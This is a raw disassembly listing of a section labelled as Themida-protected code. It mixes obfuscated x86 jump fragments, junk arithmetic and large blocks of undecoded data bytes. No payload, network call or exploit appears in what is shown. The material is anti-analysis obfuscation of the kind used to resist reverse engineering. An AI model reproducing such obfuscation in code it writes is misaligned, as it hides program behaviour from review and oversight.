dd 3F67E9h, 4C7B3500h, 48407C5Ah, 280DE9h, 2474FF00h, 48F5D04h
dd 2F87E924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54FEDA: ; CODE XREF: Themida_:0055797Bj
mov edi, 1DD21B0Ch
jmp loc_547C6F
; ---------------------------------------------------------------------------
dd 8102E1C1h, 914B10F1h, 0E9D1F71Ah, 787Ch
; ---------------------------------------------------------------------------
loc_54FEF4: ; CODE XREF: Themida_:00542A32j
push ecx
mov ecx, 7EDA17FEh
sub ecx, 0DBF5391h
sub ecx, 10260C77h
dec ecx
push esi
mov esi, 7C6C1074h
or ecx, esi
pop esi
sub ecx, 6950E0h
and edx, ecx
jmp loc_54C823
; ---------------------------------------------------------------------------
db 81h, 0F5h, 0
dd 21354A0Eh, 242C8BEFh, 0EC2E9h, 5DEF2900h, 565FFB01h
dd 926E9h, 24048F00h, 4240481h, 5D000000h, 33E9h, 8BF90100h
dd 0C483243Ch, 74FF5104h, 8F590424h, 0CBE92404h, 81FFFF5Dh
dd 0AE59B6C2h, 34ADE976h, 12C0000h, 0E903E8C0h, 0FFFFF6B1h
dd 0E9028F64h, 0FFFF2790h, 4C581h, 53520000h, 661806BBh
dd 34E3813Ah, 562E9E67h, 0DF76F7BEh, 0EE814601h, 1, 6BFBEE81h
dd 0F329EFA6h, 81D3F75Eh, 0F506AAE3h, 0FCC38127h, 0E93A7620h
dd 32DFh
; ---------------------------------------------------------------------------
loc_54FFB8: ; CODE XREF: Themida_:0054BE07j
add ebp, ecx
mov ecx, [esp]
add esp, 4
or ebx, ebp
pop ebp
shr ebx, 3
push 24D5h
mov [esp], esi
push ebx
mov ebx, 134E5F4Ah
mov esi, 5000C4B6h
sub esi, 6E9E42E0h
sub esi, ebx
add esi, 6E9E42E0h
pop ebx
sub esi, 47D84D10h
xor ebx, esi
mov esi, [esp]
add esp, 4
sub [edi+24h], ebx
mov ebx, [esp]
push ecx
jmp loc_54C1E1
; ---------------------------------------------------------------------------
db 0E9h, 2, 27h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55000A: ; CODE XREF: Themida_:0054291Ej
or ch, al
pop eax
push ebx
mov bl, 94h
jmp loc_54B27A
; ---------------------------------------------------------------------------
db 0B9h, 0AFh, 71h
dd 0C9814C0Ch, 35453E7Fh, 1A6BC981h, 0E1811070h, 23656520h
dd 31A0E941h, 89500000h, 4EC81E0h, 89000000h, 0E953243Ch
dd 0FFFFDE07h, 8103E6C1h, 8C7A84C6h, 6AE3E977h, 0ED810000h
dd 70840BCh, 8108EDC1h, 0EE38F2F5h, 5DEB297Ah, 0FF6D41E9h
dd 415368FFh, 14890000h, 0E93CB624h, 0FFFF918Dh, 5258E130h
dd 0F788CE88h, 5A2434FFh, 0FF3DBAE9h, 81DFF7FFh, 437B79E7h
dd 0B951503Eh, 234A01ECh, 0C17F21B8h, 59C8292Ah, 0C956920Dh
dd 7E732D25h, 0A8053212h, 2158755Ah, 24048BC7h, 4C481h
dd 0F7810000h, 309E0067h, 0B6E95356h
db 35h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5500C7: ; CODE XREF: Themida_:0054C586j
mov eax, [esp]
jmp loc_552A4D
; ---------------------------------------------------------------------------
loc_5500CF: ; CODE XREF: Themida_:0054C914j
pop ecx
sub ebp, esi
jmp loc_544212
; ---------------------------------------------------------------------------
db 1
dd 0F4EE81EEh, 0E908B875h, 4330h, 0E1E9FD29h
db 17h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5500EB: ; CODE XREF: Themida_:0055220Ej
push esp
jmp loc_5450F7
; ---------------------------------------------------------------------------
db 5, 0D6h, 8
dd 5405359h, 0A19A0E4h, 158C729h, 5DC781CFh, 813AB151h
dd 0E65E8EC7h, 240C8B7Ah, 0E904C483h, 0FFFF5301h, 5559CB09h
dd 4EC81h, 14890000h, 278AE924h, 0C1830000h, 74FF5104h
dd 0C8B0424h, 4C48324h, 0FF9775E9h, 0A8BD55FFh, 0F73DE177h
dd 21A4E9D5h, 0C3810000h, 4, 5C241C87h, 75F9E955h, 34FFFFFFh
dd 2434FF24h, 4C48359h, 64AFE9h, 32EB8100h, 687EEE6Fh
dd 2825h, 0E9240C89h, 4DF5h
; ---------------------------------------------------------------------------
loc_55017C: ; CODE XREF: Themida_:00555D4Bj
xor ebx, 0A1439D10h
sub edi, ebx
pop ebx
mov ecx, [esp]
push ecx
jmp loc_55318A
; ---------------------------------------------------------------------------
dw 0ED81h
dd 175235E1h, 0FF2DB0E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_550199: ; CODE XREF: Themida_:0054FB73j
or edi, 72801074h
sub esp, 4
mov [esp], edx
mov edx, 2A9F5225h
xor edx, 23516FA3h
and edx, 6C80214Bh
xchg ebp, edx
dec ebp
xchg ebp, edx
not edx
not edx
add edx, 49231B9Ah
jmp loc_555185
; ---------------------------------------------------------------------------
db 0F7h, 0DAh, 0C1h
dd 0EAC108E2h, 0A0EA8103h, 817D0C36h, 0F43252CAh, 38EA8163h
dd 31954D4Fh, 0DA895AD3h, 81241C8Bh, 4C4h, 0B2C58100h
dd 1432A28h, 0B2ED81D5h, 8B432A28h, 0C4812414h, 4, 1DDBE955h
dd 4BBA0000h, 0BE721C07h, 0B6EFF8C3h, 3EE9D601h
db 0Bh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_550223: ; CODE XREF: Themida_:00556A71j
pop ebp
push edx
mov edx, 30A95A40h
jmp loc_5578D1
; ---------------------------------------------------------------------------
db 54h
dd 4C3815Bh, 55000000h, 4BDh, 5DEB0100h, 8B241C87h, 68662424h
dd 8966746Fh, 6B68241Ch, 89000027h
db 4, 24h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
jmp loc_5562BE
; ---------------------------------------------------------------------------
dw 0C681h
dd 5FCC440Ah, 0FFE0E2E9h, 240C89FFh, 42CD68h, 24248900h
dd 0FF84DCE9h, 60EE81FFh, 0E9077A74h, 73C3h, 0E9240C31h
dd 0FFFF5115h
; ---------------------------------------------------------------------------
loc_55028C: ; CODE XREF: Themida_:00547B6Cj
mov ecx, 0BBC24BCh
jmp loc_543FA3
; ---------------------------------------------------------------------------
dw 0CD01h
dd 5DEA2959h, 3AE5C281h, 0C2812228h, 0FEF72A32h, 342CE9h
dd 4C48100h, 81000000h, 4C4h, 69506800h, 34890000h, 3F7BE24h
dd 8768214Fh, 8900000Ch, 14F72434h, 24348B24h, 51FEE956h
dd 0A6BDFFFFh, 0E9156616h, 0FFFFB938h, 0E958C601h, 0FFFFC56Ah
dd 54241C89h, 81241C8Bh, 4C4h, 4C38100h, 0E9000000h, 0FFFF83C3h
dd 0C960E958h, 8B5DFFFFh, 0C481242Ch, 4, 4C581h, 0BA520000h
dd 2, 34FFD501h, 24148B24h, 5704C483h, 0FFCA83E9h, 5EF121FFh
dd 26C1C981h, 504933A8h, 0D4E9E089h, 53FFFF4Fh, 6D669FBBh
dd 8BDA310Dh, 0C483241Ch, 0F7D2F704h, 32C281D2h, 578BD587h
dd 0FD1040BFh, 0F7C78118h, 1355360h, 7523E9FEh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_55036E: ; CODE XREF: Themida_:00542B31j
sub al, dh
pop edx
jmp loc_54A768
; ---------------------------------------------------------------------------
loc_550376: ; CODE XREF: Themida_:00552829j
add edi, 2C483588h
shr edi, 2
push esi
push 7D4Bh
mov [esp], edi
mov edi, 6A870459h
mov esi, 399E23h
sub esi, edi
jmp loc_54AEAF
; ---------------------------------------------------------------------------
loc_550399: ; CODE XREF: Themida_:00546813j
test ecx, eax
pushf
jmp loc_54270C
; ---------------------------------------------------------------------------
db 83h, 0C2h, 4
dd 5C241487h, 0E8E9D001h, 6600000Dh, 0E924048Bh, 0FFFF9190h
; ---------------------------------------------------------------------------
loc_5503B8: ; CODE XREF: Themida_:0054ED0Fj
pop ecx
jmp loc_55587C
; ---------------------------------------------------------------------------
dw 0E953h
dd 0FFFF91C8h, 2BC8E95Bh, 0CBB1FFFFh, 0F7809DB7h, 0F6CFFED6h
dd 80CFFED7h, 77E969E7h, 0B8FFFFD1h, 74E81604h, 0E958C721h
dd 0FFFF459Eh, 0A0136855h, 15DEBD0h, 242C8BEAh, 104C483h
dd 4791E9D0h, 0E281FFFFh, 0A1647F0h, 3DBAC281h, 0AEE92DE2h
dd 81FFFF33h, 4C3h, 4C38100h, 87000000h, 815C241Ch, 4C6h
dd 70E26800h, 14890000h, 2BA24h, 0D6010000h, 0EC69E95Ah
dd 0C781FFFFh, 444B4947h, 0CA69F781h, 0F80168D5h, 2404875Fh
dd 1A13685Ch, 3C890000h, 14685624h, 5E3EAB0Ah, 48B5E9h
dd 24440100h, 8E95804h
db 6Dh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55046F: ; CODE XREF: Themida_:005431B8j
sub esp, 4
mov [esp], ecx
mov cx, 1A73h
sub cx, 34Fh
shl cx, 5
push bp
push small 39B2h
pop bp
push edi
mov di, 644Eh
neg di
shl di, 3
jmp loc_54603D
; ---------------------------------------------------------------------------
dw 0D2F7h
dd 4DFFEA81h, 54E92C04h, 66FFFF34h, 0F6DC8850h, 66E388D4h
dd 22B65258h, 8069CE80h, 0CE80AAF6h, 4FD2E9DEh, 0F781FFFFh
dd 22EF56F9h, 4B5FFB29h, 12DDF381h, 79E97521h
db 54h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5504DB: ; CODE XREF: Themida_:0054C734j
sub ebp, 560112D8h
push eax
jmp loc_55728E
; ---------------------------------------------------------------------------
db 0FFh
a4XqissN db '4$XQ‰áéÝn',0
dw 0C100h
dd 494908E9h, 0FF4D19E9h, 51E689FFh, 0FF7EF5E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_550505: ; CODE XREF: Themida_:00544642j
pop esi
xor eax, ecx
mov ecx, [esp]
add esp, 4
push ebp
push edi
mov edi, esp
push esi
mov esi, 4
add edi, esi
mov esi, [esp]
jmp loc_55615C
; ---------------------------------------------------------------------------
loc_550525: ; CODE XREF: Themida_:005478C3j
xor [esp], edx
xor edx, [esp]
mov esp, [esp]
push eax
mov eax, 4591CFFh
add eax, 6AE4F506h
sub esi, eax
mov eax, [esp]
add esp, 4
sub esp, 4
mov [esp], esi
pop eax
pop esi
jmp loc_547498
; ---------------------------------------------------------------------------
loc_550551: ; CODE XREF: Themida_:0054C327j
add ebx, ecx
sub ebx, 64EA5D95h
pop ecx
xchg ebx, [esp]
mov esp, [esp]
jmp loc_54270C
; ---------------------------------------------------------------------------
loc_550565: ; CODE XREF: Themida_:0054A7E8j
not ebx
add ebx, 3BE844E9h
add eax, ebx
push dword ptr [esp]
jmp loc_54B141
; ---------------------------------------------------------------------------
db 89h
dd 75BF59C8h, 0E94BB9BEh, 11DAh, 0E9E68956h, 0FFFF22F3h
; ---------------------------------------------------------------------------
loc_55058C: ; CODE XREF: Themida_:0054D89Ej
mov [esp], esp
add dword ptr [esp], 4
pop ebp
push ecx
mov ecx, 4
add ebp, ecx
mov ecx, [esp]
add esp, 4
push ecx
push edi
push 6A880E66h
pop edi
jmp loc_54961A
; ---------------------------------------------------------------------------
db 83h
dd 8B042404h, 0C483241Ch, 59726804h, 4890000h, 4EC8124h
dd 89000000h, 3BE92434h, 80FFFF76h, 0F58032E5h, 8DB64Ch
dd 0C68059EEh, 2BC3E9EBh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5505E2: ; CODE XREF: Themida_:005480C2j
add esp, 4
push ebp
jmp loc_5516B8
; ---------------------------------------------------------------------------
loc_5505EB: ; CODE XREF: Themida_:005455ECj
pop ebx
push esi
mov esi, 2C2C3E45h
jmp loc_54A80A
; ---------------------------------------------------------------------------
loc_5505F7: ; CODE XREF: Themida_:00548A0Bj
add ecx, edi
jmp loc_55324E
; ---------------------------------------------------------------------------
dw 8957h
dd 4C781E7h, 83000000h, 3C8704EFh, 1C895C24h, 4EC8124h
dd 89000000h, 0D8E92424h, 4FFFFA2h, 0E9B92CC2h, 0FFFF75AFh
; ---------------------------------------------------------------------------
loc_550628: ; CODE XREF: Themida_:005460FEj
mov eax, 25E00B2Eh
not eax
add eax, 73664BD6h
sub eax, 5D539B66h
sub ebp, eax
pop eax
jmp loc_54FD49
; ---------------------------------------------------------------------------
db 0F7h, 0D3h, 53h
dd 1D29E9h, 24148B00h, 4C481h, 0BD550000h, 230563D1h, 1849F581h
dd 0ED8147CDh, 20606DEBh, 2C8BEB01h, 4C48124h, 29000000h
dd 0ADEB81CBh, 5944680Dh, 17A3EB81h, 0A1E9502Dh, 6600000Fh
dd 0B2EA8059h, 0F603EAC0h, 4EC81DAh, 89000000h, 7FB5240Ch
dd 0FF5365E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55069D: ; CODE XREF: Themida_:0054B2A4j
xor [ecx], ebx
pop ecx
mov ebx, [esp]
add esp, 4
jmp loc_556A5F
; ---------------------------------------------------------------------------
db 68h
dd 37C5h, 31C0E9h, 81D62900h, 960188EEh, 81565A2Dh, 5F132404h
dd 0B5E90244h, 5AFFFF56h, 0D187D2F7h, 76E98149h, 682E212Ch
dd 34h, 0B8240489h, 5A796739h, 0CE35D8F7h, 4023C562h, 0BA52h
dd 0C2290000h, 6234E9h, 243C8B00h, 4C481h, 0F2810000h
dd 720D2D3Fh, 56E9D301h, 66000054h, 0E9240C8Bh, 0FFFF84DEh
dd 4246C01h, 4246C81h, 2DEC0860h, 0FFADACE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_550729: ; CODE XREF: Themida_:005521E0j
mov [esp], ebp
jmp loc_552BE7
; ---------------------------------------------------------------------------
db 81h, 0C3h, 4
dd 81000000h, 4EBh, 74FF5300h, 0F3E90424h, 89FFFF24h, 4812424h
dd 424h, 0B8505900h, 6AB27541h, 6C74E405h, 0D2F7927Fh
dd 0AC18E950h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
push ebx
jmp loc_54BDBC
; ---------------------------------------------------------------------------
dd 240C8B66h, 68E08950h, 2090h, 0BA241489h, 619C722Bh
dd 19EAE281h, 814262CDh, 423052C2h, 9AE2810Dh, 81104A74h
dd 37781AC2h, 2EEA815Fh, 0E95F81B8h, 141Dh, 240C8B66h
dd 69E268h, 24148900h, 0FF458DE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5507C5: ; CODE XREF: Themida_:0054D013j
not ebx
dec ebx
shr ebx, 3
xor ebx, 52F2570Fh
jmp loc_555D45
; ---------------------------------------------------------------------------
dw 34FFh
dd 2434FF24h, 5243E9h
db 0
; ---------------------------------------------------------------------------
loc_5507E1: ; CODE XREF: Themida_:0054AF18j
push ecx
mov ecx, 1
jmp loc_556926
; ---------------------------------------------------------------------------
dd 214A31B9h, 0F1814177h, 297C629Dh, 64A5F181h, 81416A06h
dd 5B4C0FF1h, 59CF8934h, 565FFB01h, 4BEh, 8BF30100h, 4BE92434h
db 3 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55081B: ; CODE XREF: Themida_:0054CC82j
push ecx
push esp
pop ecx
push edx
mov edx, 57334458h
sub edx, 518D0BDFh
add edx, 0FA59C78Bh
add ecx, edx
mov edx, [esp]
add esp, 4
jmp loc_5532EA
; ---------------------------------------------------------------------------
dd 8305EAC1h, 0E957FFC2h, 0FFFFE9DBh, 7450BE56h, 0D6F72D2Ah
dd 67C4B850h, 9BE962B4h, 57FFFFADh, 643AFBFh, 58575027h
dd 48BC689h, 4C48324h, 2E1CE95Fh, 8F590000h, 248B2404h
dd 5988E924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_550882: ; CODE XREF: Themida_:00544C72j
push ebx
push ebp
mov ebp, 38E4A5Ch
shr ebp, 2
or ebp, 694939DFh
xor ebp, 8E14339h
sub ebp, 375D2468h
sub ebp, 29ADD47Dh
mov ebx, ebp
jmp loc_5461C8
; ---------------------------------------------------------------------------
aMssr db '¬é˜r',0
dd 21DBD00h, 0ED8159B5h, 2DFCD25Ch, 0E95DEF01h, 55CFh
dd 0C5814D58h, 30DC3E7Dh, 712ACD81h, 814D5BB3h, 0EA0A9FF5h
dd 0CCC58153h, 0E957A60Ah, 0FFFFEAFEh, 654D30BBh, 0E9D9897Fh
dd 4E5h
; ---------------------------------------------------------------------------
loc_5508F0: ; CODE XREF: Themida_:00552CC2j
xor dword ptr [esp], 0DEE7CA2h
pop dword ptr [edi+20h]
push ebx
push ecx
mov ecx, 0DEE7CA2h
push ecx
pop ebx
pop ecx
push ecx
push ebp
push ecx
push eax
jmp loc_544D29
; ---------------------------------------------------------------------------
loc_55090D: ; CODE XREF: Themida_:00553213j
add esi, 4
jmp loc_549A1D
; ---------------------------------------------------------------------------
dd 8B66F020h, 0C4812414h, 2, 2FDF68h, 2339E900h, 4050000h
dd 2D000000h, 2, 2EEBE9h
db 0
; ---------------------------------------------------------------------------
loc_55093D: ; CODE XREF: Themida_:00547353j
mov [esp], esp
add dword ptr [esp], 4
push dword ptr [esp]
jmp loc_553CB4
; ---------------------------------------------------------------------------
dd 7FBF381h, 25E96E32h, 0E9FFFFE0h, 0FFFF1DB0h, 0CC8BA52h
dd 0EA810C85h, 47C26D1Ch, 8106EAC1h, 0C9B325EAh, 3F9BE99Dh
dd 91E90000h, 29FFFF1Dh, 87B951D3h, 0E970D05Ch, 0FFFFB4A3h
; ---------------------------------------------------------------------------
loc_550988: ; CODE XREF: Themida_:00546F43j
pop dword ptr [esp]
pop esp
or edx, eax
shl edx, 1
push dword ptr [edi+24h]
push 177Ah
mov [esp], ebp
sub esp, 4
jmp loc_548C1E
; ---------------------------------------------------------------------------
db 0FFh
dd 0E9042474h, 1DD7h
; ---------------------------------------------------------------------------
loc_5509AC: ; CODE XREF: Themida_:0054C7C8j
xchg ebx, [esp]
pop esp
sub eax, 665A3CF4h
jmp loc_5518E6
; ---------------------------------------------------------------------------
loc_5509BA: ; CODE XREF: Themida_:0054651Fj
add esi, 6C761397h
pop edx
push edi
mov edi, 4
sub esi, edi
push dword ptr [esp]
jmp loc_54B411
; ---------------------------------------------------------------------------
db 87h, 14h, 24h
dd 242C895Ch, 1B086852h, 815A4C7Ch, 83E4FCC2h, 8BD589B3h
dd 0C4832414h, 2EE95304h
db 2Ch, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5509F3: ; CODE XREF: Themida_:005561B7j
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
pop esp
jmp loc_557707
; ---------------------------------------------------------------------------
dw 0C483h
dd 15EF8104h, 149F935h, 96A8E9C7h, 5152FFFFh, 8853F988h
dd 1F91E9CFh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_550A1E: ; CODE XREF: Themida_:00552B98j
pop dword ptr [esp]
pop esp
jmp loc_548B6C
; ---------------------------------------------------------------------------
db 5Ah
dd 0EC5EE958h, 1487FFFFh, 6177E924h, 78BE0000h, 815F700Fh
dd 0AA0152C6h, 0C019E926h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_550A46: ; CODE XREF: Themida_:00553397j
dec esi
push esi
jmp loc_549BC0
; ---------------------------------------------------------------------------
db 89h, 1Ch, 24h
dd offset dword_450050+32F99h
dd 0B8C38100h, 29391E21h, 0B8EB81F3h, 5E391E21h, 835BDA01h
dd 3C8904ECh, 8051E924h, 5558FFFFh, 621B1DBDh, 0CD81454Ah
dd 58F341C1h, 814DD5F7h, 0D57E85EDh, 5DE8016Bh, 7E95140h
db 92h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_550A93: ; CODE XREF: Themida_:0055180Aj
push dword ptr [esp+4]
pop edi
pop dword ptr [esp]
pop ebx
push ebx
jmp loc_54EDEF
; ---------------------------------------------------------------------------
loc_550AA2: ; CODE XREF: Themida_:00552466j
mov [esp], esi
mov esi, 0A423E47h
and eax, esi
pop esi
xor eax, 3401h
sub ebp, 4133481Ch
sub ebp, 4B98000Fh
jmp loc_557595
; ---------------------------------------------------------------------------
db 0ADh
dd 4EC8350h, 68243C89h, 3F61BDDh, 56243C8Bh, 5152E689h
dd 274E1EB9h, 19F1817Ah, 5048DC5Fh, 0D6684B8h, 2EE95257h
dd 88FFFF24h, 5BFC88D7h, 1AC4805Ah, 48BE128h, 5CEEE924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_550B02: ; CODE XREF: Themida_:0054F2BCj
xor ch, 86h
xor dh, ch
pop ecx
jmp loc_551069
; ---------------------------------------------------------------------------
loc_550B0D: ; CODE XREF: Themida_:0054AA27j
push ebx
push 7EBF7A58h
pop ebx
shl ebx, 5
add ebx, 2810B504h
add ebp, ebx
mov ebx, [esp]
add esp, 4
push ecx
jmp loc_54DCE1
; ---------------------------------------------------------------------------
db 4
dd 68D00051h, 6554h, 0E9241489h, 478Fh, 1C83C681h, 0D601363Ah
dd 1C83EE81h, 0B951363Ah, 53577E2Bh, 4835F181h, 0B8505BD1h
dd 57B04D41h, 3B08E9h, 52E95900h, 0F7FFFFB0h, 0C58145D5h
dd 95D39050h, 3E0D3C05h, 2DE82965h, 653E0D3Ch, 3FCCE9h
dd 4EE8300h, 12B1E9h, 0E9028F00h, 0FFFF1B7Ch
; ---------------------------------------------------------------------------
loc_550B90: ; CODE XREF: Themida_:005461C9j
sub edi, ebx
jmp loc_54B5E4
; ---------------------------------------------------------------------------
db 33h
dd 0C31240Ch, 240C3324h, 0FFEFFFE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_550BA5: ; CODE XREF: Themida_:005535E5j
pop esi
push ebp
jmp loc_54AF80
; ---------------------------------------------------------------------------
dd 0E8E9D5F6h
db 20h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_550BB3: ; CODE XREF: Themida_:0054D744j
add edx, 73375C7Eh
jmp loc_5451D5
; ---------------------------------------------------------------------------
dw 7C68h
dd 0E900001Ah, 0FFFFA499h, 240C8B66h, 0FF6E93E9h, 0E1C380FFh
dd 0EB80C300h, 4055E9E1h, 0F488FFFFh, 6658E588h, 0A9C5805Ah
dd 2EDEE950h, 0EA800000h, 80EA28FAh, 8059FAC2h, 0E20059C2h
dd 6659EA80h, 8FB551h, 0E95966EAh, 0FFFF3F28h, 0BD293068h
dd 0E7815F73h, 1A9022F5h, 0CF81DFF7h, 7ADF5958h, 0B5EFEF81h
dd 0FD89F90Ch, 246C015Fh, 44815D0Ch, 425D0824h, 5C0116D6h
dd 77E90824h
db 0E8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_550C3F: ; CODE XREF: Themida_:0054900Bj
pop esp
pop ebp
jmp loc_54487C
; ---------------------------------------------------------------------------
dw 0C281h
dd 4, 0FFFDDDE9h, 48F59FFh, 24248B24h, 0FF1AAFE9h, 895059FFh
dd 405E0h, 4050000h, 87000000h, 0E95C2404h, 5C3h
; ---------------------------------------------------------------------------
loc_550C74: ; CODE XREF: Themida_:0054320Bj
xchg esi, [esp]
pop esp
push edx
push esp
push dword ptr [esp]
pop edx
add esp, 4
push ebx
mov ebx, 4
add edx, ebx
push dword ptr [esp]
pop ebx
add esp, 4
push 63ADh
mov [esp], edi
push ebx
mov ebx, 60F03C1Ah
mov edi, 2E4A1D96h
xor edi, ebx
pop ebx
push ebp
mov ebp, 51240914h
jmp loc_54B804
; ---------------------------------------------------------------------------
loc_550CB7: ; CODE XREF: Themida_:0055399Cj
push ebp
mov ebp, esp
add ebp, 4
jmp loc_549A85
; ---------------------------------------------------------------------------
dd offset dword_49005C+22062h
db 28h, 9, 0F3h
dd 59F3815Eh, 81687A4Ch, 9864D3C7h, 6BBA5216h, 8142F245h
dd 4C77FAEFh, 81D70169h, 4C77FAC7h, 0DF015A69h, 456BBE56h
dd 0E9E942F2h
db 6Dh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_550CFB: ; CODE XREF: Themida_:00543C02j
add ecx, 48DF25FDh
jmp loc_552682
; ---------------------------------------------------------------------------
dw 0EB81h
dd 0BA48308Ch, 4305E3C1h, 0C1DBF743h, 60E905E3h, 88000028h
dd 148B66D7h, 2C48124h, 80000000h, 0EF8084C7h, 8A11E9BDh
dd 0B60FFFFFh, 0C4E955C8h, 28FFFF97h, 30E980C1h, 64F18058h
dd 20A9E9h, 8BEA2800h, 0C481240Ch, 4, 80A6E280h, 0D58817C2h
dd 0FF6E6AE9h, 0CE815AFFh, 331440BFh, 2F67EE81h, 0F1890B31h
dd 21F1815Eh, 8932655Bh, 5670E9CAh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_550D7E: ; CODE XREF: Themida_:00545A59j
mov [esp], ebp
mov ebp, 51B2359Bh
push edi
mov edi, 6847421h
xor ebp, edi
jmp loc_54B1AE
; ---------------------------------------------------------------------------
db 8Bh
dd 0C483241Ch, 0FEF18104h, 527DBA75h, 0F702FFBAh, 45E5E959h
dd 8B660000h, 91E92404h
db 32h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_550DB3: ; CODE XREF: Themida_:00542BDAj
sub edx, 4
xor edx, [esp]
jmp loc_54604B
; ---------------------------------------------------------------------------
loc_550DC1: ; CODE XREF: Themida_:005449C3j
mov [esp], edx
push 23BB7139h
pop edx
push ebp
mov ebp, 23BB7138h
jmp loc_54E566
; ---------------------------------------------------------------------------
db 5Bh, 41h, 81h
dd 9F2A7EC9h, 0E3BB536Bh, 3134C03Ah, 0E9C15BD9h, 0FBE95706h
dd 81FFFF75h, 4C4h, 2A066800h, 3C890000h, 0ABD5E924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_550E02: ; CODE XREF: Themida_:005538BBj
add esi, 5D173AF0h
sub esi, 4471454Dh
jmp loc_54E1C8
; ---------------------------------------------------------------------------
db 68h
dd 50F151D7h, 0FF1B28E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_550E1D: ; CODE XREF: Themida_:0054A041j
push eax
push ebp
mov ebp, 4
mov eax, ebp
pop ebp
push 8B7h
mov [esp], edx
mov edx, 54ED312Fh
sub ebp, edx
pop edx
add ebp, eax
push eax
mov eax, 54ED312Fh
jmp loc_554820
; ---------------------------------------------------------------------------
dd 4C481h, 0C4810000h, 4, 2474FF50h, 329DE904h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_550E5A: ; CODE XREF: Themida_:00546AF9j
add eax, 4
jmp loc_54ED06
; ---------------------------------------------------------------------------
loc_550E64: ; CODE XREF: Themida_:00547D2Aj
push ecx
mov ecx, 5475784Ah
shl ecx, 1
jmp loc_5535D2
; ---------------------------------------------------------------------------
db 81h, 0EBh, 0EEh
dd 5A5D3517h, 1B68C301h, 89000061h, 0B9240Ch, 0E9000000h
dd 0FFFF360Fh, 8704C083h, 19E92404h
db 3, 2 dup(0)
; ---------------------------------------------------------------------------
loc_550E97: ; CODE XREF: Themida_:0054CB88j
push edx
pop ecx
mov ebx, ecx
pop ecx
pop edx
jmp loc_54FDBF
; ---------------------------------------------------------------------------
dw 8955h
dd 5DEF89F5h, 0EBB535Eh, 8157FC31h, 0BD082444h, 0E96C2B2Ah
dd 0FFFF6BB2h, 83242489h, 0FF042404h, 0C8B2434h, 4C48124h
dd 83000000h, 0BB6804C4h, 89000016h, 4BF243Ch, 1000000h
dd 5177E9F9h, 3C89FFFFh, 52E78924h, 4BAh, 5AD70100h, 81E28952h
dd 4C2h, 6E766800h, 34890000h, 1732E924h, 148B0000h, 4C48124h
dd 0E9000000h, 0FFFF85A8h
; ---------------------------------------------------------------------------
loc_550F18: ; CODE XREF: Themida_:0054F616j
mov [esp], ebx
add dword ptr [esp], 77215D70h
pop eax
sub eax, 77215D70h
sub esp, 4
mov [esp], ecx
jmp loc_554AA2
; ---------------------------------------------------------------------------
loc_550F33: ; CODE XREF: Themida_:0054AA78j
mov edx, 4
add [esp+4], edx
mov edx, [esp]
add esp, 4
mov esi, [esp]
sub esp, 4
mov [esp], ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xor ebp, [esp]
jmp loc_557AE9
; ---------------------------------------------------------------------------
db 5Ch, 1, 0FAh
dd 82D5E953h, 0E981FFFFh, 4, 5C240C87h, 83240489h, 1C8904ECh
dd 4C9BB24h, 0CDB84C45h, 314C4504h, 241C8BD8h, 6A45E9h
dd 3E9C100h, 4A3E953h, 0EC810000h, 4, 6616E9h, 30C18000h
dd 0FFFD8EE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_550FAD: ; CODE XREF: Themida_:0054BC61j
add ebx, 4
sub ebx, 4
xchg ebx, [esp]
jmp loc_5515EF
; ---------------------------------------------------------------------------
a3SF db '3,$é F',0
dd 24348900h, 42474FFh, 24048F5Eh, 6624248Bh, 5724048Bh
dd 243C8B54h, 8904EC83h, 5D54242Ch, 4C581h, 0C5830000h
dd 242C8704h, 146E9h, 170EE900h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_550FFE: ; CODE XREF: Themida_:0054DBC8j
push 0A8468BDh
mov ecx, [esp]
add esp, 4
inc ecx
sub ecx, 0C966149Ah
mov ebp, ecx
pop ecx
jmp loc_54F09C
; ---------------------------------------------------------------------------
dd 8324148Bh, 0E28104C4h, 321D7EACh, 1C281h, 0EA810000h
dd 2EBE1D67h, 0C3C2814Ah, 81FEBDDAh, 8853A3C1h, 0BAA2E96Eh
dd 5401FFFFh, 6C810424h, 3F3F0424h, 0FF5A55A9h, 0EFE92434h
dd 68FFFF91h, 5A4Dh, 68242C89h, 1, 0FF7228E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_551069: ; CODE XREF: Themida_:00550B08j
add dh, 93h
sub esp, 2
mov [esp], bx
jmp loc_551C56
; ---------------------------------------------------------------------------
db 5
dd 53B9295Dh, 98E9C801h, 64FFFF33h, 66028B66h, 6677CA68h
